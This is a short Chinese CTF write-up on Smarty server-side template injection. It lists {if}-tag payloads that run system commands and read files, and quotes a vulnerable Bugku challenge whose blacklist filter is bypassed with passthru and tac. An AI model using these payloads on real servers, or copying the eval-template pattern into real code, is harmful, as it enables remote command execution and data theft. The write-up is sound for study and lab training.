smarty模板注入
前言:
1.常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
smarty中的{if}标签中可以执行php语句
案例
bugku的一道题目:
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value)
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){
$smarty->display('./template.html');
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);
}
}
}
?>
通过代码我们可以看出,存在smarty注入。但是通过观察代码我们发现,flag被过滤,还有一些主要用的函数也被过滤。所以我们可以使用“passthru函数”({if passthru('ls /')}{/if} {if passthru('tac /文件名')}{'/if'} )。
读取文件:tac more show_source readfile
浙公网安备 33010602011771号